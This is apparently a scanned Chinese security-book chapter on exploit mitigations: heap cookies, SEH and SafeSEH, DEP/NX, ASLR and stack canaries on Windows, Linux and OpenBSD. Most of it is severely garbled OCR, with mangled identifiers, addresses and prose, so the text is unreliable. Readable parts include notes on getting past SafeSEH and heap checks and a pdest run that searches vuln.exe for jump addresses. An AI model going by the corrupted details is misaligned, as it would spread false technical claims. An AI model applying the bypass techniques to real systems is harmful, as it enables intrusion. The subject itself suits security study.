SRR R S B A M BRI AN, A T RShSE AT SR B, MR AU T
AERA, THESKZE, b TREBNESEEEIITRE, HHRBABIT L4
BREGERAE. It JR&IIRT RS LARENEMEDT.
u JGEFIR BRI MESFTAER K . (ConoverfE /MR B HEB MR,
AHLE—ARBT D
u FHREFRI AL XA E RGBT T, IR E MR B Abusy, BLILEHES (&
I
w EBWUZSE, HRt1AllocateHeap (n) I8 — YK ALHEE BIEH i bk o
» WRAT AERN AR AR MR R B NS, RS FERE.
FEG S BT P IR R, AR R AT 4 0 R B A A4 M Fimalloc () A1
free (), FEAEM EIFRATBRIM A RAEEA M NEHTAFR, RIEWEER.
0 RpESHEED?
WEREN, %47EWindows XP SP2RRBUIERT, WIRASLEN bR AR, S g
FENMRMORE . NLEEMAERT, XPREFLENE, WRELWEER
MR T FTCABS [ mAIRE S AR AUG MR, RERIFRE $BU4BERE,
BRI BIAE N AT 8 BT R, SRR BT IF T — M1
h T NGRpHIX 88t R T RS, cookielt 5 —ANEE#E. Yinrong Huang?E20034F4 411 H
WA FIXAEY (http:/marc.info?m=105013144919806), {HE20044 27, WAL —Frk
WA RARAY, ZJ5, MWK F7EWindows XP SP25 Windows 2003 SPLELRA TE .
TERAIHIWindowsSEILEL, cookie e —MSELAMERME, EMEPCLIIFRALE . HRREMX
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W, KR T, {HZ{&Matt Conover?E20044F 12 A #§ KA HE, 401 53X/ cookie /S IEH
RtlFreeHeap () K& BBAEIHR Y, NHAEMLAE. RERHHEH T AR Fcookie R iHlL L,
M — 3R, HEBERBEHifficookie, AFRHHE L. MM EZ, #Windows®E, WHE
WUBRER, cookielBASA LA A RY .

BESh, B hcookieE kA, EARRY size KT~ sizeT B, R AKEHITFT —H
1o i, BAIBSAIRFRRT, W%ﬁslz&?&k*iﬂﬁﬁﬂi (Freelist(0]) Hff
RifjsizeFB, EARKMEEBAS, FRUICHEX—LE, N FHEAERL.

HWindows Vista 4, R4 T HE K% ﬁﬂﬁiﬁﬂﬂ@iﬁm’f‘ﬁ%?’ﬁ'- FEF SRR
AT HxorB I, Wit xorf3A 1 W IHOL RS BN FHHBOR R TR, R TEH
MRt 1pcoalesceFreeBlocks () HH IR MIARELFIR:

mov eax, [ebx+50h] i ebx -> Heap. +50 = _HEAP.Encoding

xor lesi], eax ; esi -> BlockHeader (HEAP_ENTRY)

mov al, [esi+l] ; HEAP_ENTRY.Size+1

xor al, [esi) ; HEAP_ENTRY.Size

xor al, [esi+2] ; HEAP_ENTRY.SmallTagIndex

cmp fesi+3], al ; HEAP_ENTRY.SubSegmentCode (Vista)

jnz no_corruption_detected_here

SEA PRI R T SLLIK, A ASMYERIERT . X Vista il Sy RUSEBISE L
S ASLRZ S (HFE R

TR SE LA BRI Bl AR T L BT ESEAE T Windows VistafUMECRSY, (HARIIE i AT AF 45
H RS, SRR THMBE XA, HA ERATTHER . 33— 25 Tt 47 W] RE AL LA
FEFFA S NIHIR, AR R EEREHER AR,

TEHR KA A cookie ) 55— N ERTI BRI AR BN, EMBBEFTMHK. AT, BEh
cookie & ANMNULFAF I SE AL, HEAVEAEA EAKQE T LA RE, RifiE2K %
REMBGEEAT, EXFNIET, RSN 7R R Rt

glibth & LB R A, HINBERIBERRAKT, T MISHPREHREFHEXL,
FRHERE LM, FR, MBENLEHREE, KPR T DA S0

OpenBSDHIBARAI TARAARFIH 7k, BRRER, SEELHTHEARK. HE, b8
15 4Pk Jyphkmallocii i3, ‘5FreeBSD—#¥. phkmalloc/s i R A 22 3R HIBIZ (LD
HITHIBIE), SRR, WA SRR RS A MR —E. RS KT HRA M
TR, AT phkmanocﬂfﬂm~ “BSD Heap Smashing”, iX/2BBP7£20034:5 ] 14H
R4 (http://the. D-heap- hing.txt). #Rifi, 34K #OpenBSD
K, AT TR SR A /*F"ﬁin%zll

3814 Chttp:/marc.info?m=112475373731469) FF#, OpenBSDffmalloc () 38U Fik
AU T Mimmap () REWAT o X AMIOBKEFAERE, BI%0penBSD I T ASLR, mmap () fi& (4]
MHBEHALT ) BE5h, EHBAILE A (Riimmap O BFI) MG T AR, iR
e A 7 O 0 PR AAT 6T R PG AR A R
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R malloc () AIERM AN BB T FGAR (B, Entelx86 LR4KB), ¥R
VA, B, XA L S U mmap () EE S e — 4,

a RAHIE AR EER B H— R A2

O - HEBERAEMANTRENRT . LB TRZEERS PR, X0 H AR
BT UAERETIAR A RERSRTUAR, EXFHER T, EARRMIALHBARLE.

0 Y ANERPHNN, SARARER, EREEANEFE —E O ST LA
R, X— TR HEA0S (Fit, HRAFERFREHNEET),
RUSTELREE, RIDERERIBX 4R,

FEOpenBSDHL, ALK HAL MU AT S8 BARRS T (Nibugsl ST kA S, TR S A R RS
JFbug e S HEIA B IX . MIFX— i, M R AN R F4kHE TR B R e X o
BN RFRE. AT, BRBIGHX AN — BRI TR, AR NGRS
TTHEARSE, B, REHAR LATRSEE, R RLELT R,

BT Linux 1 Windows i & &, RN, % L HE A B8 4 Hg AL ity HE R P 25 78 H 25 PR
RATHE, Fsre S — I,

0 ARAF QISR EREGMN LN R ED?

TR SE R, B B MO, TR AR

RARATTH TR, Zed XN HH R 75 AT AR AT SR R T8 0 B X SR ARAE I AT 4 o
F— AT, RN AR S U 1 B SR ST RIS R X R,
XA REERE R DS HIPATIRT .

HRREEEE B BT, HE B ANE A RCH NI R RN X%
CHIBLE, SOUER - ARERIBIN (BILERE 146 finew), (RAFLEESHALZE MR AL
FRBUFRZAOE—NRERAI, EARER - MERENER (veable) I
g, XA veableRA A T RE CEREATH B L CERYIMBRRED MibhkH4l,
REAHELEHMAETSONAEE, EERELAIRERE. Bk, XRERAE
SR RAL AR, CRREREETEHNAER.

R RA AR TR H L THEHEL (heap massaging), WEHBAL FHEFOEXZ 5,
vtable#l LI Bt # L BRI ) 4T (method pointer) MIFIK. ZJm, SUEMEHE
Jith, Bt A A BATERRE.

CHIRMHIRE AR—ABIT, TERASWEE A MR, ETCLFEBEMKE
PR AR 2R BX A B i o

R BT o SRR M AL R P B A AE A X O ZE P I 0 R, R0 I T
B. B TR AOMESS A AR AL, R BT, T AT R S A ROT A
REARFLIFAE R (5 EAET IR R 1 SR SRR A AT A«
LAY T AR MR AR . Linux £ (fiLtrace. SolarisFIALX H fytrussf LL
BASCAR 77 A Mmalloc () FISAEER VA . %5 F Windows, RN —ENAH
111 A——PaiMei (http://pedram.openrce.org/PaiMei). 53— 46T R FITE EAF AR T e
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378 Heap Vis, iX/Pedram AminiyjOllyDbgFF % )4+ (http:/pedram.redhive.com/
code/ollydbg_plugins/olly_heap_vis/ ) ; heap_trace.py , 7] # f Pedram 5 K9 PaiMai i &
« redhive. iMei/heap_trace/); HeapDraw, 3XJ&CoreLabs fL#)—A/h4L
Chttp://oss.corest.com) FF & i)  BITE P4~ R B H T Windows, Ji5 T () AT Fi§ F Windows. Linux.
Solaris®%.
AT 2 R EEBGH AR, (B R A7 H AT LARS Y BIARAR I TR, LR IR RSB
IRATHL ARG 9 R AR5 WS AE

14.1.7 Windows SEH i #131

ISER T E A, Wi EISEH ( ion Handling, 45HfL5¥4bE)
HUBR AN R —AME I AR I 280 X 3t 2 5 AT YR 0 T B 10K 24 71 7E R A Windowss 2000
SPAIIRHRBINENK AU T, AIBRTR, AR L XA HUEIS KRR S MR, HEHI
BRRRA R AE3 2L Windows Vista L& BIMAFE (640 MM T ER—HE.

SEBLATA AL P RS #R ZEntd11 . 11 i #(KiUserExcept ionDispatcher () B,
TR EER, B0 T HRA I Windows h T A%k, FACREGHFETHINER. T
T A ARG T 2 AIRAS B AR M

O VAAALERRF 2 BT A A B %o X MR HEHE AT LABT S AL BOBEPK (trampoline) .

0 EXCEPTION_REGISTRATION_RECORDIAZUMAE WA MR RIRA, 1T EHEHF . XMRPH

T LAR Tt 4440 ¥ EXCEPTION_REGISTRATION_RECORDJ# 7 _F A AR .

0 S AERF AR . REK R EMMIL SIRIF(EEs: (4] Rfs: (8] R MAM
bee W RANBREIRR R AR, R ARl A B B AR B, BRAEBEA WXL E
Ly, XA IRIVRT T M ACATIRAEARE, WAJE LR

0 7EVisual Studio i}/ safesEnfiiFMPE ] (.ExE. .DLLY) H —DAFHF WAL
FRIF IR . PEMUR B I A 10 AR B A Ak 75 B O W AL BB AR )Y . XOR N T B EAR
pop-pop-ret 2 HKAGH AUBKEK, B I Windows XP SP 25 Windows 2003 SP1LLUF s A7 72

T
O FHEHNE R A RN IABEL, IR T8l / satesErgR % (MPESIR A A I FAE o]

PE.

R TR MBI STHENX T, AL R FAR AT HATHAFR . BRLE
14.1.2°15 (1350 BT R (RO AR AE

5l R 3 FFNXRY, ntdll.d11 H ) RelisvalidHandler () £R 75 1€ Al NtQuery-
VirtualMemory () #HUX FUR T BATIC R ATHAT, IXREREBRA T H BT B KW X

AT LUXAE B MR PR IR A ATIAT, A4 57 3 S IRARTG L 2 T A e vk
T (HELBIRRFFEATLRA IR RIS R

w AERFTHIAS S AL IR F ERLZ AT, RelTsvValidHandler () flzwQueryInformation-
Process () i F — 244 Jjper-processkRidl. 7EXPSP22 i, SR A—AMRiE (Execute-
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DispatchEnable), HVistallJF, @54 # Mrid (ExecuteDispatchEnablefl
ImageDispatchEnable) 7 fVFBASH R ATHAT T fIH44T .
XA ERE14.1. 29 555k BA BB WA
O RIBSEFA AN, #Windows XP SP2IWindows 2003 SP1 1, UL — SRR i S
SEBRF (50 R Visual CH__except. —handler3) RMFTAHS. HiffeEyeftiBen Nagy

BRE 9 3CHE Chttp://www.eeye. ice/VI20060830.html ),
Visual Studios 260 55 1935 B MARLA B BAL BTG F & 3 — s, FIA#AL, 7
GRS IR BT TR KA 4 B R

YL BT A 19 SEH AR 5 $L 3], T LA 160 98 1 57 0 A T O M
exception-handler-approved X BL4% 5] 4 & i 15 HOAERE A B 3 e ke 7, BEIR—IEE
BIRRENSE VR B IR A5

LR, tﬂ%ﬂ'lﬂﬁﬁmﬁﬁmﬁﬁﬁ:VFE@EWKXWE%WVQ#&E. BRTT LB B
FHATRLF . (HEERSHNRF, H&?&Wgﬁ'bj%:ﬁzﬁw#ﬁ&t&ﬂ%ﬁ%&ﬁ%m
VRHGARTT T A 2 ARTR 3 4 A B 0, ﬁ?ﬁmexocpﬁm-handler-appmved!ZE*/f‘/l\ﬁqﬂhﬁi (€7
Jjumpcode) K IEHIRENCAG, U B HA I AT A S 2K

pop-pop-ret/FHIH R — Nk, Brib shint—it, RETUFEHERENBRGAL, 1
AR BBATTH, BATT R SEHL A B 22, R SHLR R TX 470,

AT T RAT =4 eBye AN ML IF 4 fysErenp ( hitp://research.eeye.com/html/tools/
RT20060801-2.html), 3k [ Core SecurityffNicolas EconomouIf R ifjpdest, LR [FHERK E Corelty

ixFF o JEHAN T HtEh .corest.com] LA4RF] .,

BT TR FEf: SERMFHRERIVG NI, REERZRIES, TR
LHRRMIRID THENIRS, BBk, &M RApIT, SRR IS 25 7 B EAxIE 1 HRAAR
W, fEflowp eAXBRPTELT, i HfcaLs max. push EAX-RET. MOV EBX. EAX-JMP EBXUJ
EHMRIAE (OIEER K BnoplRIIAA) BT,

1. EEREAP

EEREAPHULI AL L8 A0 78 py 1755 4, BIRF EIFRITIG . R T W4, E
CHRPEA LT, BRI, WA LR BRI H AR (BT HEE
AR AF A B WA 0 40 25 1 A0 Roreadme 1) FEAH M EEREAPY A, BT
LU B FHRAA| IS5 A BRSBTS FEBBIAL A 045 3 Mo (#pop-pop-ret BRASALH %
P

stack:800h, RW

ESP = stack+400h

EBP = stack+420h

code: 10h, RO, TARGET

[stack+408h] = code

[stack+414h) = code

[stack+4lch) = code

[stack+42ch] = code
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[stack+444h] = code
[stack+450n] = code

EANMAIRER, FAER LRI SN TRLARREERE, B
REHMWE, ETHMERE.

FERR SRR EEREAPL EATRSLESEHRPAA, BEILE THRAREBLKIERREE
ek, (BRMNPE L RNL LRI F RERFRIRAAKGEAH.

2. Pdest

Pdestifi & BB MERIFBPIIG, BUTR AL EIILNELAIRS, HECIARENE
FRERIATEE BRAIIE N1k JRE BT — ML TG AR IR L R

BT, 0T DU E R E IR A B2 5 A A B

C:\> pdest vuln.exe 7c839aa8 [esp+8]

Target = 0022ffe0 - 0022£fe0

Addresses to try: 7991296

004016c8

00401b47

00401b74

00401bb7

00401cab

00401eae

9.4% complete

RN BRRA LM LR SR IR LS. B A S B pdest
RRHTFH TR, RITMEREN . BEASBIEIRIGERBERI M7 SR
—AMk R BB, R IR BRI A BN . XA T AR R (espe8l,
B4 4] AP IR BAT MR, RIAEI IR 2 B, IR AR S BHRRE T, R
B, Bk, EHERAMA (espr1a1 B, %%,

SEEABBORER M pdest KILMI M FT#F etk . 3 F 5 ALERARFE, AR RAA
FHAETEF. B, Fpdest FRAEM AW BB FBURM SR TF .

(1) IBATHESS IR FI AR/ o

(2) AR L, e AREERAT .

(3) RS (B, AERARS SRR ).

@) HUTREE TORMI R, AR MW R R 4.

(5) HL HA AR A$ I et R F R o

(6) A (4) KB bl iE T pdest o

() RIBIBIREF= 50

(8) pdestR M FF I LA,

A Hipaest AW M A @A AT HEABEIK . pdest HEEREAPHS R AR FEFF 0T (1) 15 75
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3. SEHInspector

SEHInspectorfi BiMiig. H—R&, R Windows Vista i {IPER NI FIBEHLMHE, T% 2%
e HZR, WMBRNHEF R/ satesenf N, SBHEVER, MHELFHFARRNE
LT 5 SRR .

A LA f SEHInspectorAt B DLLEREXE, X44CFDLLEf, S #fLoadLibrary (), RIES5HE
HRBg R TAE. L Fexelf, TRGIREIRE B ENN AT, RES5HELEN
BRI, BaF XA R NRK A DLLAKIE. RS TS R ERE NP
X (pLuskExe), MHAAARER. ETHELEE, #EESEHNspectorfI SR .

14.1.8 HMBRIPHH
R YUBMRE , B B AIA 1L, RATI-DBEIK Z BARY R0  BUHBAT S ARSI T BE 1109
FAH RN BIADRG M BATAAE R A AL IR i 8 RS S, Bl & Fh )
f¥jsandboxing. 4T F Vi EH (RBAC) BARIEMVIMEH (MAC) %.
1. AR HLE
FREBA L T IRKAGRS, KT, S48 FHB A frbugRRN, 55 B ERTitie
BT R PR MR A 250 M AR W MaRIR R S 4 B se TR,
A RAH M SRTFR . BUAE, WL O BAE RAMALE, & R AL NI
il XML, TR TR M E AR, AR BB IFOAR T — LB
ARIRD.
H20034E3.48 A AR, OpenBSDFF#ifiiProPolicefii M#%. F/b H2.6.18ALIK, FEF
& L Linux 427 % FProPolice$i i T, 1 H— 4 RATIRELEREET .
H4 £ (f)OpenBSD P 4% ¥ 4 X HEWAX . Windows XP [ SP2FF 4, 324 ity &b 28 88 % 45
nx-stack, G4GLALFEM LB T HE MWK, BEME—S TRIE—FME, WHE
tp://www.mi inxppro/maintai
BJFPaX BB E M LR A AR T M AR B
BAEMIPaX, EAIE2007EF WA, HEFMAFEMAZRY: KERNEXEC. UDEREFA!
RANDKSTACK.
0 KERNEXEC SN B RINWAX, SR A WEMOARTEBRTHITHARAE. [, ©
AT B RIrodataBf N Rl GRIKE 4 FHHIRMAFE) .
O UDEREFHif#2 M (i) PRSTHIRRS, A A sk B X0 HEdRE, MM (3R
[ FIP KSR, AR L SREE . XA — A BHER]: BAANULLERE
AR IR AT — ANV ) k(BRI E, E R R AR L,
SRAEHTR I LT SCR A ) e RSN o
O RANDKSTACK#i{R#— /N R G184 H 1 Py AR BALAL .
KT WHARY, RATEDF 3% B iipipacs 885 (A BB SCRE, LA T PaXBRIERIHE R,
ARENBARY . BT REMR RN R, LRI PaXERAT 55 A BT T AFEPaX ) SCRY R )
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KB http//pax i pax-future txt

2. fEEHRIP

B AFRAMEIIREHRS R R vendicator i StackShield (0.687), BF19994:9H1
H&AG (http:/marc.info?m=94149147721722) . 3X/AMRIHE ML MAMBITRARE CERIEHIF
Hht R TAE SR A T, 7 0¥ 7 5k 2 O R DX R S AR 0 text BL ), WA 3T (T B2 AR B0
RS

JLEZ G, 76200348 H13H, Crispin Cowan# #} T PointGuard ( hitp://marc.info?m—
106087892723780), X%y —Fh R BIREHRY . CWRSPFA WEMRBEA (BAKD
longjump). FEMHPointGuardff, BAHURA N R KTE 52 RBHE HxorRis, %
HBZH, BEBRFFBMEIRG. REFE BT MGCCH T, EFRMEGCCRITH B IH
BHAEREIRH RS, EEHERIT (RREHCCCRITRARBREIRE Y, K%M Linux
RATILBEA KT e B BIX AR

FEWindows XP SP2& Windows 2003 SP18, ##k/A 55 AR TS AIRRTIRE R 3
(EncodePointer () filDecodePointer () ), ‘BT R 5PointGuardfRA7{Ll. Windows Vista
G RFRERE .

‘EPEWindows EF AR IE-—~AMEHL (re1 inter () FIRt1 inter () ).
Tl # fiRt1QueryInformationProcess (-1, 0x22, ...) FHRBIHKEIEL, T/EEEEHREFE
PRI SRR . REFXAM B R, BRBE, T UMEMIL R4 R
BPERUXAN SRR, ARG .

142 FREXHUZEMES

F A IMATRAE R . RATRRANSA K, A6 BRI R SE I T A+ A DR 1 MR A K AT fi
T AWHRRER T ASRETI, 2RI EAIZR M ZS A .

14.2.1 Windows
14 M\Windows XP f1SP2 5 Windows 2003 fISP1& Al DK, KA 7 B4 mBERZL PN T
ARERF B 76 THEAFIRE, FR7T LRI 2| Windows Vistaff) A [F i A& Windows & HiBLI)
BFHHUHIORME . C4R, EERBHIR, Windows Vistah 5IAMISEREIEMEE hELHE
BT
1. WAX
O [XP SP2JFA, Windows A2 3§ AMDATIntel 2h 7 48 (FINXA4FE «
O BRIAZH324 Windows £, SU4 D RUS BT A TIXAMEAE, R (N ATRR e o] ASE
AR 377 SEAT AR o
Q ERLRNXIBEN b GRERICR, HEAEAD, WHLs i L BIUB RO R A —
SRR . A — NBAMRER AL PR IR XS
O EHP-ANARFRECEHMT RS, WA WS EFEHHRK, R Process
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Explorer 15 2 % Chttp: ~microsoft.
mspx). 3 FRBSHIX MR I E 15, W5 iEhup microsoft.com/kb/875352.
#EWindows®, TLL¥ifHizwsetInformationProcess (-1, 0x22, 0x400004, 4), &
S intall. QLB R GRIQIA2WHA B, MTTRRETaERN
WAX,
LM fivirtualaailoc (), MOSHERW+XHTE.
FERRHER R PR A BB R WX
6Ty Windows B, W SCRIIHE, RO E AWAX, I EARRE
BRI
ASLR
£ Windows Vistay ILMFTHE A, RELBNRNIERRMvirtualalloc () SR,
B, SN R —E B, EERATRRS.
[ Windows XP SP2JF4, it #2158, PEB (Process Environment Block, #EREIFRNEH)
FITEB/TIB (Thread Environment/Information Block) fifir E&M—41 (164) E&fHak:
PRIHLIRAL .
FINXFBEHLALAR AT ik % T HiB PEBLockRout ineIPEBUnLockRout ine GXFANH ¥
HREHRIFTEPEBIL) O, BRARRRIFA N I B R IRAT 1.
i Windows VistaFF 4, GUEHTARRNS, HRibAIBER AR B BRMNLT . L%
SoRHEsIE KA SRLBINLIL, LA 1400, X140, Heh o REMILE, B
Sy BRI AT LURBI2KB L, SRR AN, AT LA RO TR S
4 Windows Vista JF 4, 401 5 3 2% % # B B B2 ¥ A H Visual Studio 2005 £
/DYNAMICBASEREIRA A, MBABWLENIEIIIG, BB RN TP bk
HISELAFHEBINLAL . ) T A WI% € (MDLLEREXE R A M AT IO AN AL, /7T LUEfT14.1.7
15 LA A1 SEHInspector ,
#|Windows Vista Beta 2 1L MFTATARAER, BRI .2 1] 025 B 46 R A 52
), (B AIJR H Visa R AT, ELRRIXHET, BI7E, DLLAIEXER MR ML 554
SR SRR, UBMEEMHR - oLu, MHTA SRS, SRRk
BRI
Q [Windows XP SP2FF4f, Fi47 ffyWindows — ki #5 1 il S 45 /GG Visual Studiofii A

R SUAB RO Pt 7T RERDX AN ISR i
Q Visual Studio 200517 /GSERH I T —L4HHEHE, 3.

m canary (5Rcookie) BAHLIL;

u Jicanary (A" WIHEEF RISLAL K 25 47 88

IR T MRS B R 45 s

w SRR AR R BT %

[}

0oo

onN

o

o

o

[a]

o

w
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» EEFHNSHEFBARERE, REEFHT.

0 ARENRH (BARENSYO HBAT /esliy. Wi, ERERPHARERET
REAFAE L

O WREHEABE, —EHEREREEHZHEARRY, RR1413WAH “BREME
A R AR RE AR o

O WAL BPRAERE. B BAMAE Ccaller) ffEXCEPTION REGISTRATION_
RECORDIFF=AE—ANFH, {RATHERT LASEIT cookickd 7 »

0 fEWindows VistaZ BIMIBTHARA R, AR F R cookie A RIF7E R E (MM 7 . 7E
Windows Vista B3 RZ3IXFE . FRAEIEN ARSI BRI 84 Rcookie BB
{7 PASE it cookie 7 o

O ZEHLEAELE, cookie B REELH BEMEALIL, R #Rhttp:/msdn2.microsoft.com/en-US/library/
8dbf701c.aspx FTAREERIARHE, 34 K9 T R MS06-0403%if -

Q #EWindows 2003 SP1° I, G5 IMIDLLIEH /GSARFM. MAGI VAT 10 WAEAE RIS
NWRIR—HE, RARHALME TS 4 Rcookield MMM (http:/www.milwOrm.com/
exploits/2355). A, RAIGIRER, K2 Fcookiedisr LIRARAHBIHIL, FAh
ISRAREAT PRI A BIAR (T B, E AR AT F 1, fRoxbbioe6seiX ).

4. BRI

a Windows XPE SP2FFAARt R & L AMMER T, ERAFRMN SRR IEREBE
HEHE, BASRA. MRRSINEERERI, RARMBRE, WAEEENN
FARRF AR EEAT .

0 #EWindows XP SP2.E, HESRA LM T 841K HLcookie. 7EWindows XP SP2.E, iR
cookieHy FE I, MALMHFY, Kl #FHHHNLMkERR.

O cookiefRAFLEL IR, FHBH (R HEAP_ENTRYZE IS — AT B fEMHIERS, €
AT AR .

O fEWindows Vista3I A2 8T, 1R/5 % 5% LSS S R MR A T AERY, 1 LB
SRAREF.

Q Windows Vistaffl &# /i HEARH E & 50, MWHLR U1 T )5 &5)% LSS BR .

O 7EWindows Vistall, Bi#ileookieBBibL4RF (ERFTH P LM HxorB R ILR) AR
BT MRRAERY, SARERFIENAEE, B4 REHRIEAKITE.

O T LA PR R B 0B o X 1A A R IR M (AT AR R . R b #E Windows £, C++
MG ER, AR e S TE N AR R RECEM R EX2
HetoL T, LR BB AEE E A RO A RO R

5. SEHER#PHLEI

PEN14.1.7H

© BICHSPO, NKSPL, — B
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6. HAtkAYWindows3TI

Q Al A fiRt1EncodePointer () AIRt1EncodeSystemPointer () X B HHgEH (L& I At
BRIIRED) BEATHRIS. RATERWAHRE1EncodePointer (), KX ERt1EncodeSystem-
pointer OAfItL, BRI FARAFBINIKBIRE MAFMRBTERNAFR H etk

0 Windows Vista & ffj SafeSEH 5 3 fij Rt1EncodeSystemPointer () /8 # T RtlEncode-
Pointer (), RA[AER™4E— 4L, HHRXAMARIKY, BIHHNLLEARET
WO IR (ERFWRE, BAH A RME b AR,

Q k3 4 9t R 2 % AR ) N R 47 42 PEB L 10 B H 9K #F PEBLockRoutine FI
PEBUnlockRoutinettWindows Vistath EAREAFAE T . BN IHBET, BESREREAA
RtlEnterCriticalSection () fllRt1LeaveCriticalSection().

O XA A% A 5 BT I 6 PO A% W9 47 B Windows XP SP2UURBLHIWAX{RY T . 46324
JiA k., nx-stack SR HUE ARG, Fniﬁi#%ﬁé&%ﬁi E“t‘ihi?t L, HERREK SR
(http://www.microsoft. ) HBEE,
. A FMAILIEM (session pool) FHAR A ARATHAT .

14.2.2 Linux
EALinux B RZATRAS T, Eilk, MELBlgOamRFaaEEEERmn. AHER
FHEBRATHRITI B MRS L. A WABOHI T B RN LRGN, &
TR VR T o
1. WAX
O Fedora Core Linux & R A2 LA 5 BAL#5 T ExecShield, BRI BERER LA W X. IR
J4< ff/Red Hat Enterprise Linuxt 5% 248 o
O EFedora Core Linux fA< 3BUF, BT M FIAZ A HLAR 4 B WX BUAE  Libell— 4.
O fE—2 CRINKD) 32WA%RRA L, ExecShieldfi4} 45 (segmentation) WX MIHEAH %],
RATAT A 24U F OpenBSD H f) 55 1148 2 K8, #ltm, 76 T w4 — A AT AT 7T
mmap (Oxbf£££000, 0x1000, 7, 0x32, 000k, 0), B#Himprotect () BUASHA TR
Q 7 A Afmmap () MOSTSR WX 47«
Q Mandriva Linux 2007.0R BRIA W TG 1 FUEGIWAXGRY . AT, RATELR ERRAN K
Bl Mandriva Linux 2006.00% fy A £ 3B b e I T W X.
O Ubuntu 6. 10540 R ERABRINEAT A FIWAXERS", AT, f5 BARAH A nx-stack .
O Ubuntuffy B\ SCBRIE FBARAL 22 28 (N X/PAERF 1
O #1kUbuntuffinx-stack  AMRIET43 15 (segmentation-based) STAHBA MM AHEEH
HIPAF T LR filmprotect (), 0 HEE R BB TT .
O #EUbuntu B AT L fmmap () MU WX, Fit, ta] Ll mmap-str-cpy-code.
T OpenSUSE 10. 1R AKEF i FIAE T WAXERS . ZRRA[KISuSE 9.1ARAN9. 0 th—H¥ .
O RS £ 2K 7RI A Gentoo 2465 HE RO , {08 BAT FERTWAX, B AL
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gent AU, ityskPaX. XJdFWAXI, RHHCL#REIK, fEPaX b
FEEHRAFWHXEX after W
2. ASLR
#Fedora Core 6 1, BRIASFAMERIAT 140 HERANLIL, JLHEFD A 0x03£££000; FT20RARBANL
th, HAER A 0x00£££££0.
#EFedora Core |, a[ LA A PSR CRBUESENR . AR, BUBITHREER, FRY
MARMHE RS R AR . TREBBOA R AZIT %K GEidcrontablZ0). YER, XLeiihkFR

FRIECR TR R AR B .
Q MR R T RE, At 22N FExecShieldfIBEHLIL. 045 R 10MBENL, JLHERD Y
0x003££000,
Q SRR, P BRI B — bk, — R A6 B R T A RE R L

MR R MR BT AL B BA TR -RIET, BTV PER AL R0
MR, A W B P AE B AIBUT U RER U o

EiFedora Core 4LAJ5, FRIFAESRK B BN (vasol, FHEEIRARTHAIT.

{EFedora Core 321, ‘& M HBI FoxE£££000 HATHAT .

Bl B AL FIAAAS 1T .

Fedora Coreff! —% “ G —3Ail4i ¥ APIE (Position Independent Executable), 1]
KR E BN AL, AT ret2text it LASAT . oAbty —HEGIBOMER B S J b s
fir 8 GEN H0x8048000),

O Mandriva Linux 2007.0f i) £ ik F 200 BEHLAL, HHERD A 0x00£EEEE0, HERFTHIBHHL
e, JERTINER M TORIBENL L, AT 0x003££000,

Mandriva Linux 2007.0RAC.FE AR B Wi Ar dakik, EAAASTEES.

Mandriva Linux 2007.08% & 32 (vaso] 174} £ oxf £££2000.,

Ubuntu 6. 1054 i A1 i 55 B8KR 454 55 Mandriva—#¥ .

OpenSUSE 10.1 4%t '5MandrivaflUbuntuZE A% . 747 iX #6454 R ExecShield i~ #34y,
At B Linux P4 ) — 043 .

IR I Gentoo AR AT =4 HESEE IR MBENLIL B, SAMBEHILIE (vasol .t
SREHI I Mgentoo-hardened, PaXBHHLALILIEMRBEAT, HHPELT MRS

T [vasol R AL BN, AT LA AT B AT BT fret2text. —2ret2code & Al fiE )
ret2syscall K ifi o

3. R RIP

SUEIGCC (ZERIAA.1E) R fifProPolicebljri, Linux RATHA FEAIE . & 4Fedora
Core L (#1455, #:Ubuntu I fR A J£6.10.

A AR FE AR SE R AT RO BN A T XM, RRATIS S A MCER,
objdump -k 44 1% 2% JE 75 7E function () [fprologue B i1 T canary Ky 7% .

0 GCC 4. 14LHE( 5 — Rk SR AR5 L JEFORTIFY_SOURCE, 4N R4iiFi vl LAH & 22X i)

o

oo

a
=]
=]
=]

o

o

o

o
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KN, EIEF 1 iocREH MA K/ METE . B48 T ##FORTIFY_SOURCE K JLAfiExecShield
IR B, #ihup: i j i

JHE HAGCC 4,14 T FORTIFY_SOURCE, {HFedora Core 3 &MY T — LAl B HFH M —H#Hl.

4. R

O SRR — R BLR fEglibe-2.3. 4, IE—KiK B R AEglibe-23.58 ., THFI% T EZ5]

NIKEARG 0 RAT AR =

& Fedora Core 4

= Mandriva 2006.0

= Ubuntu 5.10

= OpenSUSE 10.1

 Gentoo 2004.3

“The Malloc Maleficarum” (http://marc.info?m=112906797705156) f fig BBt %

fRigLibeffiME {5 Bk

O R AN, RERRERRZ MR 2, Wi, FLinux LSS4T
G R MBS B AR TR . R, RAE SN ARACHER,
CABEARSR B (5 Ak ) R HR TR ARA S, Bt ¢EWindows L EAERT.

5. #At#LinuxLH

O PaXf3E T A FH AR HLE], BB KR Linux RATIE I BA BRI E .

o

14.2.3 OpenBSD

R BIEN TOpenBSD 4.1, b A ¥R I BAEOpenBSD 3.8«

1. WAX

O FA AR R T E, SRR TR SRV & (D HEIntel, sparc, sparc64.
alpha, amd64. hppa).

0 fiffimprotect (0xc£b£2222, x, 7)RAILABEHIWAX,

O A LU fimmap () NOSH R WX K47«

Q AR I AR I AT S B BRWX

0 PR T _stacalliffi%5E, chained ret2codefR AT fE LA, I HLARMM.

2.ASLR

O REBNFEHEHWBEIL T, B, ERE.

O [ AR IR AR V5 R (B8 B B . BRAR RS o] LU AR AT —FretextZE
AT, BT 0 BERIE SR TR A A T AR ORY, BT MBI RS RR, (2R AR
ATret2textTCi BT B VS nT AR KA 5 T AERARIHKIK, EEIntel x86 bR A 4B
B, BEHAET & LESITHT .

O B 180 (R LG BEBIALAL, K4 T e SR DA R T A M o

O ARt b i F20RTHBEAUL . SRR MRS I AR o
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O 25 B3O K KAH 16 BBhLAL

3. BBER R

Q OpenBSD H3.4MEALUR, BT i) =3 HI#8 2 ProPolice 4 (). Ffi 4 45 T ProPolicely
R LB B TS A BB
= fififlcanary;
= i canary (R4 Wist e R AB G- A7 1 25 77 28
R B FUARM A R
w JLAh R AR B BT
= A SRR AR, REREH Y.

O A A FiProPolicefR ¥ YUERLZIRY 4 BB AT &t

O XA BB KIIECE, HEEME LRSS R4S “ER
AR AR ) o

4. HEfRP

Q SR AE Fimmap () AOSHRINIAETUR o T 1 RREA/MIISRIETE, M50
HIZEAAR LU, KARRHAER .

Q N[5 fymmanp () 8 R [B10K 482 18] () R B ) W TR 25 IS MO 2F, BRI, i&b&imﬁimK
KT RERALA A S B O U B

